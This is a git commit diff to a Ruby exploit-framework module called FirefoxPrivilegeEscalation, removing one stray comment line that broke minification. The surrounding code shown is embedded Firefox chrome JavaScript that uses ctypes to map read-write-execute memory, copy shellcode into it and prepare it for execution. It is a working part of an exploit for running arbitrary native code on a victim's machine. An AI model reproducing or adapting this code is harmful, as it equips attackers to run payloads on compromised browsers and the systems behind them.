Remove stray line comment that ruined things when minified.

bug/bundler_fix
Joe Vennix 2014-12-23 00:22:50 -06:00
parent 30916e35ad
commit e974d272f0
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0
1 changed files with 1 additions and 1 deletions

View File

@ -36,6 +36,7 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
%Q|
var execShellcode = function(shellcode, bytes) {
Components.utils.import("resource://gre/modules/ctypes.jsm");
var execPosix = function() {
var RWX = 7, ANON_PRIVATE = 4098;
Components.utils.import("resource://gre/modules/ctypes.jsm");
@ -77,7 +78,6 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
);
var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);
var cstr = ctypes.jschar.array()(shellcode);
//var bytes = ctypes.char.array()(shellcode).length-1;
memcpy(buff, cstr, bytes);
/* there is probably a better way to do this */
var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/);